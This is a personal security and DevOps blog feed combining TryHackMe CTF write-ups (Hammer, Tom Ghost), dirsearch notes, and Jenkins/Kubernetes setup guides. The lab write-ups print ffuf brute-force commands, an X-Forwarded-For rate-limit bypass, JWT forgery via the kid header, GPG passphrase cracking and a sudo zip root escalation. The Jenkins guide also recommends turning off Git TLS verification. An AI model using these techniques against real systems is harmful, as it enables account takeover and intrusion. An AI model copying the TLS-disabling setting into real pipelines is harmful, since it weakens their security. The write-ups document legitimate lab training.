python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080
python3 dirsearch.py -e php,html,js -u https://target --proxylist proxyservers.txt

Reports

Supported report formats: simple, plain, json, xml, md, csv, html, sqlite, mysql, postgresql

python3 dirsearch.py -e php -l URLs.txt --format plain -o report.txt
python3 dirsearch.py -e php -u https://target --format html -o target.json

More example commands


cat urls.txt | python3 dirsearch.py --stdin

python3 dirsearch.py -u https://target --max-time 360

python3 dirsearch.py -u https://target --auth admin:pass --auth-type basic

python3 dirsearch.py -u https://target --header-list rate-limit-bypasses.txt

SQL Map

Sat, 07 Feb 2026 00:00:00 +0000

SQLmap

SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios. Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts. Reinventing the wheel isn’t ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code. However you should always know how SQLmap is working, and be able to replicate it manually if necessary.

Hammer - Web-pentesting - tryhackme

Sat, 31 Jan 2026 00:00:00 +0000

Intial observation

Upon doing a nmap scan on the target machine, we get know - there is webserver running on port 1337
I had a closed look at the website, i do not find any of flags. except login page code left comment saying . So, why dont scan all the dir starting with hmr_

ffuf -u 'http://10.49.149.19:1337/hmr_FUZZ' -w /usr/share/wordlists/dirb/big.txt 
css # nothing, but a bootstrap css
images # A hammer image
js # min.js file, i do not think its usefull
logs # Seems, i found a error.logs, it may reveal some information.

Upon observing the /hmr_logs/error.logs file, following info is revealed.

webdir: /var/www/html
A test user: { email = tester@hammer.thm }
/restricted-area" - denied server configuration
/home/hammerthm/test.php - denied by server configuration
/admin-login - probably admin page, test user tried to loggin in admin, but failed - so he is not admin.

Again Did a directory enumeration as whole on website :)

ffuf -u 'http://10.49.149.19:1337/FUZZ' -w /usr/share/wordlists/dirb/big.txt -t 1000 -b 400-500
gobuster dir -u "http://10.49.149.19:1337" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # this wordlist not giving good resutls
.htpasswd # do not access
.htaccess # do not access
/javascript # do not enough permissions to open 
/vendor # Voila, Seems like a directory exposed to web
/phpmyadmin # A php admin site

I keep observing /vendor directory, honestly i do not find any flags. It just seems third party libraries in php.

Part1: Time for Action - Bruteforce

I tried brute forcing loging page, it does not worked.

ffuf -u 'http://10.49.149.19:1337/' -d 'email=tester%40hammer.thm&password=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.49.149.19:1337' -H 'Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9' -w /usr/share/wordlists/rockyou.txt -t 1000 -fr 'Invalid Email or Password!'

Intruder Brute force on OTPs of the reset_password for tester@hammer.thm in burp revealeed, there is implementation of rate-limiting inside backend of reset_password. It giving the error after a specific number (for me its 7) attempts.
Honestly, i wasn’t sure, how to break rate limiting, some blogs revealed use of X-Forwarded-For in request headers to tell server about client’s IP. This is generally used in server with proxies to track the client’s activities.
In this case, i we do not have proxies, and we make use of this vulnerability. What we do is, tell the server that requests are coming from varios IPs using X-Forwarded-For header, so bypassing the rate-limiting.
Ok, Now reset the password for tester@hammer.thm, enter the randam OTP and capture request it in burp.

# Generate OTPs list for bruteforce using the crunch
crunch 4 4 0123456789 -o otp-list.txt
# Now, Brute force with ffuf
ffuf -u 'http://10.49.149.19:1337/reset_password.php' -d 'recovery_code=FUZZ&s=170' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.49.149.19:1337' -H 'Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9' -H 'X-Forwarded-For: FUZZ' -w otp_numbers.txt -t 1000 -fr 'Invalid or expired recovery code!'

Above brute force may reveal the otp, lets give new password for user and logIN.
First flag is revealed.

Part2: Remote code execution

Upon loggin with new password, its turns out there is auto logout after few seconds. I do not have any option, but to capture the request in burp repeater and execute commands from there.
Honestly, Seems like my role is not admin, allowing me to execute only ls command.

ls
188ade1.key # curl http://10.49.149.19:1337/188ade1.key --> 56058354efb3daa97ebab00fabd7a7d7
composer.json # cat composer.json in website --> "{\n \"require\": {\n \"firebase\/php-jwt\": \"^6.10\"\n }\n}\n"
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php 
logout.php
reset_password.php

Upon observation of request, its reveals usage of jwt for the authentication and authorization. Ok why dont we decode the token and see what there in. Yeah did.

# Token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzY5ODc4NTAxLCJleHAiOjE3Njk4ODIxMDEsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.erK8sC2UYS5suyRWwIjMdSbvA8sxIYUvzKbJ-58szio
# After decoding, Headers
{
 "typ": "JWT",
 "alg": "HS256",
 "kid": "/var/www/mykey.key"
}
# Paylaod
{
 "iss": "http://hammer.thm",
 "aud": "http://hammer.thm",
 "iat": 1769878501,
 "exp": 1769882101,
 "data": {
 "user_id": 1,
 "email": "tester@hammer.thm",
 "role": "user"
 }
}

Developer might have not included kid, and role in the token itself. Lets make use of vulnerability by making new token with our own kid, and role using url: https://xjwt.com
We will use key, already present at the root directory of website kid: /var/www/html/188ade1.key and role: admin

# Headers
{
 "typ": "JWT",
 "alg": "HS256",
 "kid": "/var/www/html/188ade1.key"
}
# Payload
{
 "iss": "http://hammer.thm",
 "aud": "http://hammer.thm",
 "iat": 1769878501,
 "exp": 1769882101,
 "data": {
 "user_id": 1,
 "email": "tester@hammer.thm",
 "role": "admin"
 }
}
# Key
56058354efb3daa97ebab00fabd7a7d7
# Generated token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzY5ODc4NTAxLCJleHAiOjE3Njk4ODIxMDEsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.beXn8RMbKeq8qgAMvkKPZ86IZ7nc4IpeYMv7v9jJXUo

Lets make use of this new token in captured request on repeater of burp suit, and run cat /home/ubuntu/flag.txt command there.
It will reveal the second Flag.
Yeah that’s it, We solved CTF.

About

Sun, 25 Jan 2026 00:00:00 +0000

> whoami

silent_resistor

> cat ~/.bio

I live in the quite space between building resilient systems and figuring out how they break.

By day, I am a Devops engineer architecting private clouds and wrangling automation to withstand the chaos of enterprise environments. By night, I switch sides, trying to understand how those same systems can be dismantled.

Despite what the degree on my wall or the title on my resume says, I am often just a guy staring at a blinking cursor at 3 AM, wondering why my packets are ghosting me. I’m not an advanced malware developer (yet) - Just a student of the craft who knows the thrill of a Metasploit shell, and the peotic irony of code doing exactly what it was never supposed to do.

Jenkins

Tue, 20 Jan 2026 00:00:00 +0000

1. Few Questions

1.1 Can you integrate the jenkins with the Bitbucket and create the multibranch pipeline ?

Integrating your on-presise bitbucket server with Jenkins is great move, allows jenkins to automatically detect new branches, trigger builds when developers push code, and report build status (pass/fail) directly back to Bibucket PR UI.
Here is Straight forward way to getting Bitbucket and jenkins talking to each other natively.

1.1.1 Generate a token in Bitbucket server

Create Bot account with minimum permissions (alteast read, if possible write operation to allow jenkins to put green or red checkmarks next to our commits in Bitbucket)
Create the Personal access token with above account, name it something like jenkins-bot
Copy the token and keep it somewhere safe.

1.1.2 Install required plugins in the Jenkins

- Install Plugins like `Bitbucket`, `Bitbucket Branch Source Plugin` Using Jenkins plugin manager.
- Restart the Jenkins

1.1.3 Add Token to Jenkins credentials

- Go to `manage jenkins` -> `credentials`
- Click into `System` store, then `Global credentials`, click `add credentials`
- For the Kind, select `username with password`
 - Username: Bitbucket bot useranme
 - Password; paster the Personal access token you have copied earlier.
 - ID/Description: Name it `bitbucket-server-token`, so its easy to find later.
 - Click `Create`

1.1.4 Configure the Server Connection

Lets tell jenkins where your bitbucket server lives
Go to Maanage -> System -> Bitbucket endpoints -> Add -> Bitbucket server
- Enter name and your server URL (exampel, https://bitbucket.xxx.local)
- From the dropdown menu, select the credentials you just created.
- Click Test Connection. If everything is correct, you will see a success message. If it is, great.

but from my personal experiance, most of the time, if your on-premise bitbucker server’s TLS/SSL configuration has done with self-signed (internal CA) certificate, the Java environment that runs the jenkins say I dont know who signed this cerificate, so i refuse to talk to this server. and it will fail with below error during the connection test.

PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

Because the jenkins plugin uses java to make API calls to bitbucket, we have to tell jenkins underlying java runtime to trust our self signed certificate. Lets inject this certificate into jenkins java truststore.

# Download the bitbucket public certficate and save it jenkins server.
openssl s_client --connect bitbucket.xxx.local:443 < /dev/null 2>/dev/null | openssl x509 -outform PEM > bitbucket-cert.pem

# Locate the jenkins Java keystore
# Look at the path to `java` executable in the jenkins process, just like `/usr/lib/jvm/java-17-openjdk-amd64/bin/java`
# in this case, the java keystore is at `/usr/lib/jvm/java-17-openjdk-amd64/lib/security/cacerts`
ps -ef | grep jenkins

# Import the bitbucket certificate to the java keystore using `keytool`
# Please note that the default password for the java keystore is `changeit`
# It will prompt you for keystore password, Type: chageit
sudo keytool -importcert -alias bitbucket-internal-cert -keystore /usr/lib/jvm/java-17-openjdk-amd64/lib/security/cacerts -file bitbucket-cert.pem

# lets restart jenkins
sudo systemctl restart jenkins

Fixing the javakeystore, resolves the API communication issues, and jenkins plugin finally see your bitbucket branches.
However, when the pipeline actually runs and tries to execute git clone, the Git CLI on server might also rejects the certificate because GIT uses the OS-level trust, not Java’s anymore.
- Quick fix with UI
- To fix this, we will force the jenkins to apply equivalnet of http.sslVerify false across the board without messing with the command lines on the server.
- Go to Manage -> System -> Global properties -> Environment variables
- Add a new variable with name GIT_SSL_NO_VERIFY and value true, and save it.
- Proper Fix with CA Bundle
- if its debian based linux
- sudo cp bitbucket-cert.pem /usr/local/share/ca-certificates/
- sudo update-ca-certificates
- if its redhat based linux
- sudo cp bitbucket-cert.pem /etc/pki/ca-trust/source/anchors/
- sudo update-ca-trust extract
- yeah, thats it, restart the server with systemctl restart jenkins
- Permanent fix
- sudo systemctl edit jenkins
- Add the following content: Environment="GIT_SSL_NO_VERIFY=true" under [Service] section
- sudo systemctl daemon-reload
- sudo systemctl restart jenkins

1.1.5 Create Multi-branch Pipeline in Jenkins

Go to Jenkins -> New Item -> Multi-branch Pipeline -> Give a name -> Create it.
Add bitbucket as the source:
- Click add source -> Bitbucket (Assuming you have instlalled required plugins earlier)
- Now you may see a dropdown for your bitbucket server, select it.
- Just type in your project key and select your repository from the dropdown.
Now, to avoid the infinite loop of branch discovery, we need to configure the scan and git clone strategies.
- Now look for Behaviours selection, just below repository name, and click Add button there.
- Lets add Discover branches trait, and that set to All branches,not just pull requests.
- Select the Filter by name (with wildcards) option, and enter main or master in the include box, and leave the exclude box empty for the time being.
click and save the configuration.

1.1.6 Create Jenkinsfile and now push it to the repository

Create a Jenkinsfile in the root of your repository and push it to main branch.

pipeline {
 agent any
 stages {
 stage('Run tests') {
 steps {
 // if you have make target for tests, just run it exactly as you would from your terminal
 sh 'make run-tests'
 }
 }
 stage('Build Artifact') {
 steps {
 // again, just trigger your build tool
 sh 'make build'
 }
 }
 stage('Publish to artifactory') {
 steps {
 // grabs any jar file from target directory, and save it as an artifact in jenkins
 archiveArtifacts artifacts: 'target/*.jar', allowEmptyArchive: false

 // lets also push it to artifactory
 withCredentials([usernamePassword(credentialsId: 'artifactory-credentials', usernameVariable: 'ARTIFACTORY_USER', passwordVariable: 'ARTIFACTORY_PASSWORD')]) {
 sh '''
 curl -u $ARTIFACTORY_USER:$ARTIFACTORY_PASSWORD -X PUT "http://artifactory.example.com/artifactory/my-repo/my-app.jar" -T target/my-app.jar
 '''
 }
 }
 }
 }
 post {
 always {
 // clean up any artifacts or temporary files
 cleanWs()
 }
 }
}

1.1.7 Trigger the pipeline

Go to your multi-branch pipeline and click Build Now to trigger the pipeline.

1.2 Ok, do you aware how do we configure LDAP authentication in Jenkins?

To configure LDAP authentiacation, we need the official, core plugin simply named LDAP, please download it from jenkins plugin manager.
CRITICAL WARNING: Keep current jenkins browser open and do this in second tab. if you configure LDAP incorrectly and hit save, you will instantly lock yourself out of jenkins.
Go to Manage Jenkins –> Security –> Under “Authentication” section, change it from “Jenkins’ own user database” to “LDAP”.
Server: Your LDAP server URL. eg: ldap://ldap.example.com:389 (or ldaps://ldap.example.com:636 for SSL)
Configuring search rules:
- root DN: Base of your directory tree. eg: dc=example,dc=com
- User search base: this is the folder where users live, leave it blank if they are just sitting on root, but usually they are in an organizational unit (OU). eg: ou=users ( or ou=people )
- User search filter: Search filter to find users. eg: uid={0} (or cn={0} if directory uses cn for usernames instead of uid)
Setup Manager: Jenkins need account to search the directlory before it can log anyone in.
- Manager DN: Service account to search the directory. eg: cn=admin,dc=example,dc=com
- Manager Password: Password for the service account. eg: admin_password
Run Test correctly:
- Username: do not type cn=admin..., just type short username,if you want to test the admin, just type admin (assuming filter is cn={0}).
- Password: Password for the user you typed above.
- Hit test again, Because you provided the Manager DN, jenkins will log in securely in background, search for cn=admin, find their real DN, and then test their password.
- You should see a green sucess with their group membership.

1.3 Do you aware how do we clone a multi-branch pipeline job in Jenkins ?

There were actually few ways to do this, ranging from a hidden UI feature to the exact export/iport trick.

1.3.1 The Hidden Clone Button:

Jenkins actually does have a built in clone feature, but they did hid it in most unintuitive place possible. you dont click on your existing job to clone it, instead you have to pretend you are making a new one.
Go to Dashboard –> New Item –> Give it a name
Ignore all teh project types in middle, instead scroll to the absolute bottom of the page, you will a see text box labeled “Copy from”.
Start typing the exact name of the existing good multibranch pipeline, it will auto complete.
select it and click ok.
Jenkins will instantly duplicate the entire configuration of your exising pipeline into new one. All you have to do this, is change the bitbucket repository name, hit save, and done.

1.3.2 The Export/Import Hack (The XML way):

Underneath the ugly UI, every single jenkins job is literally a single file called config.xml, we can downlaod it, change the repository name, upload it back to create a new job.
Go to your working multibranch pipeline job page.
Look at the URL in your address bar (eg: https://your-jenkins/job/my-awesome-pipeline/)
Simply add config.xml to the end of the URL (eg: https://your-jenkins/job/my-awesome-pipeline/config.xml)
It will display the raw XML code, save it locally in your computer. lets say new-awesome-pipeline.xml
Open new-awesome-pipeline.xml, change the repository name, and replace it with new one, and save it.
Lets use curl to push it back to jenkins as a brand-new job. Once done, it just boom, your new job is ready to go.

curl -X POST "https://your-jenkins/createItem?name=new-awesome-pipeline" \
 -u "admin:admin_api_token" \
 --data-binary "@new-awesome-pipeline.xml" \
 -H "Content-Type: application/xml"

1.3.3 The Jenkins Script Console (Groovy way):

If you have access to the Jenkins Script Console, you can use a groovy script to clone the job.
Go to Manage Jenkins –> Script Console
Run the following script:

def sourceJob = jenkins.model.Jenkins.instance.getItem("my-awesome-pipeline")
def newJob = jenkins.model.Jenkins.instance.copy(sourceJob, "new-awesome-pipeline")
newJob.save()

This will create a new job with the same configuration as the source job. All you have to do this, is change the bitbucket repository name, hit save, and done.

1.3.4 The Jenkins CLI (Command Line way):

If you have access to the Jenkins CLI, you can use it to clone the job.
Download the jenkins-cli.jar from your jenkins server.
Run the following command:

java -jar jenkins-cli.jar -s https://your-jenkins/ -auth admin:admin_api_token get-job my-awesome-pipeline > new-awesome-pipeline.xml

Open new-awesome-pipeline.xml, change the repository name, and replace it with new one, and save it.
Run the following command:

java -jar jenkins-cli.jar -s https://your-jenkins/ -auth admin:admin_api_token create-job new-awesome-pipeline < new-awesome-pipeline.xml

This will create a new job with the same configuration as the source job. All you have to do this, is change the bitbucket repository name, hit save, and done.

1.3.5 The DSL way, using Jenkins Job DSL plugin:

If you have the Jenkins Job DSL plugin installed, you can use it to clone the job with a one click.
Go to Dashboard –> New Item –> Enter the name of job –> Select Free-Style-Project –> Click on “OK”
Scroll down to build steps section, click add build step and select Process Job DSLs
Select the radio button for Use the provided DSL script
Paste the following DSL script. I only referenced the config.xml file from the source job to write below groovy code.

multibranchPipelineJob('new-awesome-pipeline') {
 description('Cloned from my-awesome-pipeline')
 displayName('New Awesome Pipeline')

 // where to find the jenkins file in branch ('factory' XML block)
 factory {
 workflowBranchProjectFactory {
 scriptPath('Jenkinsfile')
 }
 }

 // Dead branch clean up ('orphanedItemStrategy XML Block)
 orphanedItemStrategy {
 discardedItemStrategy {
 daysToKeep(30)
 numToKeep(10)
 }
 }

 // The Bitbucket configuration ('sources' xml block)
 configure { node ->
 // We tell the DSL to navigate to the 'sources/data/jenkins.branch.BranchSource' element
 def branchSource = node / 'sources' / 'data' / 'jenkins.branch.BranchSource'

 // We inject the bitbucket plugin class
 branchSource / 'source'(class: 'com.atlassian.bitbucket.jenkins.internal.scm.BitbucketSCMSource') {
 id('1')
 serverId('c8b2e4f6-7a9d-4c3e-8f2a-1b3c4d5e6f7g')
 credentialsId('bitbucket-credentials')
 projectKey('PROJ')
 repositoryName('new-awesome-repo')

 // We inject the Branch Traits and Filters
 traits {
 'com.atlassian.bitbucket.jenkins.internal.scm.trait.BitbucketSCMSourceDefaultsTrait'()
 'jenkins.scm.impl.trait.WildcardSCMHeadFilterTrait' {
 includes('main', 'develop')
 excludes('feature/*', 'bugfix/*')
 }

 // We inject shallow clone and no tags settings
 'jenkins.plugins.git.traits.CloneOptionTrait' {
 extension(class: 'hudson.plugins.git.extensions.impl.CloneOption') {
 shallow('true')
 noTags('true')
 depth('1')
 honorRefspec('false')
 }
 }
 }
 }

 // Final strategy block requirement
 branchSource / 'strategy'(class: 'jenkins.branch.DefaultBranchPropertyStrategy') {
 properties(class: 'empty-list')
 }
 }
}

1.4 How to investigate Jenkins Pod deletions Trap ? (The OOMKills)

All data of pod deletions is for sure available in the prometheous database, if they are not visible in the grafana, then we have to pull the data out using promql queries.
For getting a historical memory usage: container_memory_working_get_bytes{pod=~".*jenkins.*", container!="POD", container!=""}
cpu usage: rate(container_cpu_usage_seconds_total{pod=~".*jenkins.*", container!="POD", container!=""}[5m])
pod restarts: kube_pod_container_status_restarts_total{pod=~".*jenkins.*"}

1.5 Can we migrate the existing Jenkins instance on a virtual machine into something that runs directly on the Kubernetes cluster? Is it possible? How hard is it?

This is originally the concept of “Pets vs. Cattle” in server management.
Running Jenkins on a Virtual machine makes it a “pet” (you have to feed it, care for it, and if it dies, you are devastated)
Moving it to Kubernetes makes it “cattle” (highly available, easily replaceable, and decoupled from the underlying infrastructure)
To answer the question, it’s absolutely possible, and as far as how hard it is? It depends on how heavily the current Jenkins setup relies on the underlying virtual machine.
Secret to Migration: The beautiful (and sometimes frustrating) thing about Jenkins is that it does not use a traditional database like MySQL or PostgreSQL. Absolutely everything - your configurations, user data, plugin binaries, job definitions, and build history - lives in a single directory, usually located at /var/lib/jenkins on the virtual machine.
Our Migration Plan is simple: we can tar gzip this directory and try to keep it in a persistent volume, which can later be attached to the Jenkins pod in the Kubernetes cluster.
Dummy Pod Solution for Chicken-and-egg problem:
- core problem: We have just created a brand new, empty persistent volume in kubernetes cluster, how do you get your jenkins.tar.gz file (/var/lib/jenkins data) into it?
- Ok, if this were a physical server, you would plug hard drive into motherboard, format it, and copy files over. But in kubernetes, this PV is a virtual block of storage floating in cluster. We cannot scp or ssh directly into a hard drive.
- A hard drive must be attached to a running OS to accept the files. In kubernetes, the “running OS” is a Pod.
- Here is why we dont just attach empty PV to the real jenkins pod
  - If we start the jenkins helm chart with empty PVC, jenkins will wake up, see an empty folder, and immediately start running its “first time setup” wizard. It will create new, blank configuration files.
  - We dont want a blank jenkins, we want our original jenkins.
- There, we use a Dummy Pod
  - We spin up a tiny, temporary Pod with the empty PVC to it. Think of this as plugging an external USB drive into a temperary laptop.
  - We use kubectl cp to copy the jenkins.tar.gz file from our local machine to this dummy pod, and extract it into a mounted volume.
  - Now PVC contains all our jenkins data.
  - We throw away the temporary dummy pod. (delete it)
  - Finally, we spin up the real jenkins Pod and attach that same PVC. Jenkins wakes up, sees all old configurations, and skips setup wizard entirely.

Actions:

Copy the jenkins data to the K8s control node

# SSH into your virual machine
cd /var/lib; tar -cvzf jenkins.tar.gz jenkins
# copy it to the control node of k8s cluster
scp jenkins.tar.gz user@control-node:k8s/

Lets create the PVC for jenkins data

# Create a PVC for jenkins data
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: PersistentVolumeClaim
metadata: 
 name: jenkins-pvc
 namespace: jenkins
spec:
 accessModes:
 - ReadWriteOnce
 resources:
 requests:
 storage: 10Gi
EOF

# Create the dummy pod
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
 name: dummy-pod
 namespace: jenkins
spec:
 containers:
 - name: dummy-container
 image: ubuntu:latest
 command: ["sleep", "infinity"]
 volumeMounts:
 - mountPath: /var/jenkins_home
 name: jenkins-storage
 volumes:
 - name: jenkins-storage
 persistentVolumeClaim:
 claimName: jenkins-pvc
EOF

# lets wait here till the pod comes up
kubectl wait --for=condition=Ready pod/dummy-pod --timeout=60s -n jenkins

# Copy the tar.gz file into the 
kubectl cp k8s/jenkins.tar.gz dummy-pod:/var/jenkins_home/jenkins.tar.gz
kubectl exec -it dummy-pod -n jenkins -- bash
# Inside container
cd /var/jenkins_home
tar -xvzf jenkins.tar.gz
mv jenkins/* .; rm -rf jenkins jenkins.tar.gz
chown -R 1000:1000 /var/jenkins_home

# Lets get out of the container, and delete it.
kubectl delete pod/dummy-pod -n jenkins

Now its time to Deploy jenkins in cluster. And with the jenkins helm chart, we can specify the PVC to use.
By default, the jenkins helm charts wants to create a brand new, empty Persistant Volume. We need to tell the chart, “No thanks, I already brought my own data”.
Lets create custom values file for jenkins helm chart

# jenkins-values.yaml
controller:
 # Expose the Jenkins UI vi NodePort
 serviceType: NodePort
 nodePort: 32001
persistence:
 enabled: true
 existingClaim: jenkins-pvc

Now lets install jenkins with the custom values file

helm repo add jenkins https://charts.jenkins.io
helm repo update
helm install jenkins jenkins/jenkins -f jenkins-values.yaml -n jenkins --create-namespace
# watch it boot up
kubectl get pods -n jenkins -w

Once the pod is ready, lets get the admin password

kubectl get secret jenkins -n jenkins -o jsonpath="{.data.jenkins-admin-password}" | base64 --decode

Now lets access jenkins UI

# Get the node port
kubectl get svc jenkins -n jenkins

Open your browser and navigate to http://<control-node-ip>:32001
Login with the admin password you got above

Kubernetes

Tue, 20 Jan 2026 00:00:00 +0000

1. Vannilla vs Custom kubernetes

Vannilla (via kubeadm), its a official, standard way to boot strap a cluster and gives you the trust, most unopinoted kubernetes experiance.
Lightweight/Custom (like k3s, MicroK8s, etc.): These are fantastic, simplified distributions that bundle everything together - including networking addons etc.
Important: Vannilla Kubernetes adopts decentralized approach, where components are loosly coupled.
For example, Its supports multiple network plugins such as Calico, Cilium, Flannel, etc. Each has different requirements for IP addressing, routing, and networking architecture. So, instead of automatically assigning the range of ip addresses for pods by default, adminstrator has to specify it manually at the time of initialization kubeadm init --pod-network-cidr=10.244.0.0/16.

2. Reference Repository: https://github.com/silent-resistor/cka/

3. Installation procedure

3.1 Prerequisites and container runtime

before installing kubernetes, your all nodes need a base software to actually run the containers like containerd or CRI-O
Container Runtimes
or CRI-O
do it with sander’s scripts here

3.2 Installing core tools

kubeadm, kubelet, kubectl in all of the nodes
do it with sander’s scripts here
or manually with official docs

3.3 Initializing the cluster

on the control plane node, run kubeadm init
do it with sander’s scripts here
or manually with official docs
you can also pass some flags to kubeadm init to customize the cluster
- --pod-network-cidr to specify the CIDR for the pod network
- --service-cidr to specify the CIDR for the service network
- --apiserver-advertise-address to specify the IP address to advertise the API server

In case initialization fails, you can reset with the following commands and try again

kubeadm reset -f
sudo rm -rf /etc/cni/net.d
sudo rm -rf $HOME/.kube/config
kubeadm init

If it’s still failing or getting stuck, always run with verbose to see what’s happening kubeadm init --v=5
Most of the time, it fails at creating and configuring the kubelet service, so always inspect the kubelet service status
```
systemctl status kubelet
sudo journalctl -u kubelet --no-pager -n 100
```

Once kubeadm init is done, it prints a few commands to run on the control plane node to set up kubectl with administrative access

mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

3.4 Installing the network plugin

install a network plugin like Calico, Cilium, etc.
do it with sander’s scripts here
or manually with official docs

3.5 Joining worker nodes and control plane nodes

If you wanted to get the join command for worker nodes, run kubeadm token create --print-join-command on the control plane node
If you wanted to get the join command for control plane nodes, run kubeadm token create --print-join-command --control-plane on the control plane node
or manually with official docs

4. Problems faced: (The Real Kubernetes Experience)

4.1 While intializing the cluster with `kubeadm init`, its getting stuck at `[control-plane-check] checking-kube-shedular at http://127.0.0.1:10259/livez` for very long time..

4.1.1 Inspection1: The Container Detective Work

systemctl status containerd is active (running) but doing nothing useful.
crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock ps shows no containers
I restarted containerd after configuring the runtime endpoint with sudo crictl config --set runtime-endpoint=unix:///var/run/containerd/containerd.sock, but it didn’t help (of course it didn’t)
crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock logs showing few failed container with the error as rpc error: code = NotFound desc =an error occured when try to find the container
A controlplane component may have crashed or exited when started by the container runtime. To troubleshoot, list all containers using preferred container runtime cli.
crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock ps -a | grep kube | grep -v pause
once found the failed container in here, inspect the logs of that container to understand the issue
crictl --runtime-endpoint unix:///var/run/containerd/containerd.sock logs <container-id>

4.1.2 Inspection2: The cgroup Mystery

you may find that the kubelet does not know which systemd cgroup to use, please see the config at /etc/containerd/config.toml

# sudo containerd config default | sudo tee /etc/containerd/config.toml
# not sure, lets compare this with below
version = 2
[plugins]
[plugins."io.containerd.grpc.v1.cri"]
[plugins."io.containerd.grpc.v1.cri".containerd]
discard_unpacked_layers = true
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes]
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc]
runtime_type = "io.containerd.runc.v2"
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]
SystemdCgroup = true

In kubernetes,kubeadm doesnt run the containers directly, it creates configuration files (static pod manifests) for the containers and waits for kubelet to read them and tell containerd to start the pods. If its hanging, kubelet is likely failing.

4.1.2.1. Case: The RPC Nightmare

Tom Ghost - TOMCAT - Tryhackme

Fri, 31 Jan 2025 00:00:00 +0000

Thought it was difficut just by looking at the vulnerabities after nmap scan tomghost.nmap
A perfectly deployed tomcat at 8080 (spent alot of time on this), and a silently hiding ghost (same tomcat) listening at 8009 for ajp packets.
A quick scan on searchexploit and msfconsole for ajp or ghostcat quckly revelead a very good exploit. which eventually reveals ssh password for the skyfuck user.

## msfconsole: exploit:auxiliary/admin/http/tomcat_ghostcat,
 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
 http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
 version="4.0"
 metadata-complete="true">

 <display-name>Welcome to Tomcat</display-name>
 <description>
 Welcome to GhostCat
 skyfuck:8730281lkjlkjdqlksalks
 </description>

Now im inside the skyfuck user. What i can see is a crendentials.gpg file encrypted with the encryption key tryhackme.asc
i have tried by decrypting with gpg, its again asking for the passphrase for encryption key which i do not have.
So, thought of brutforcing the passphrase for the encryption key. Lets get into the Kali

scp skyfuck@10.49.159.228:tryhackme.asc ./
/usr/sbin/gpg2hash tryhackme.asc > hash
john --format=gpg --wordlist=/usr/share/wordlist/rockyou.txt hash
# Using default input encoding: UTF-8
# Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
# Cost 1 (s2k-count) is 65536 for all loaded hashes
# Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
# Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
# Will run 3 OpenMP threads
# Press 'q' or Ctrl-C to abort, almost any other key for status
# alexandru (tryhackme) 
# 1g 0:00:00:00 DONE (2025-12-29 14:01) 12.50g/s 13425p/s 13425c/s 13425C/s alexandru..trisha
# Use the "--show" op

it turns out we found the passphrase for the encryptions key, i.e, alexandru
Now, lets get more action in the skyfuck user of target machine

gpg --import tryhackme.asc
gpg --decrypt credentials.gpg # enter the passphrase
# gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
# "tryhackme <stuxnet@tryhackme.com>"
# merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Now, we have the password for the merlin user

su - merling # enter the pass
cat user.txt

# privilage escalation
sudo -l # revals he has privilages on zip 
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
id # reveals now you are root
cat /root/root.txt

That’s it

MonikerLink CTF - Jr Pentester - Tryhackme

Sat, 25 Jan 2025 00:00:00 +0000

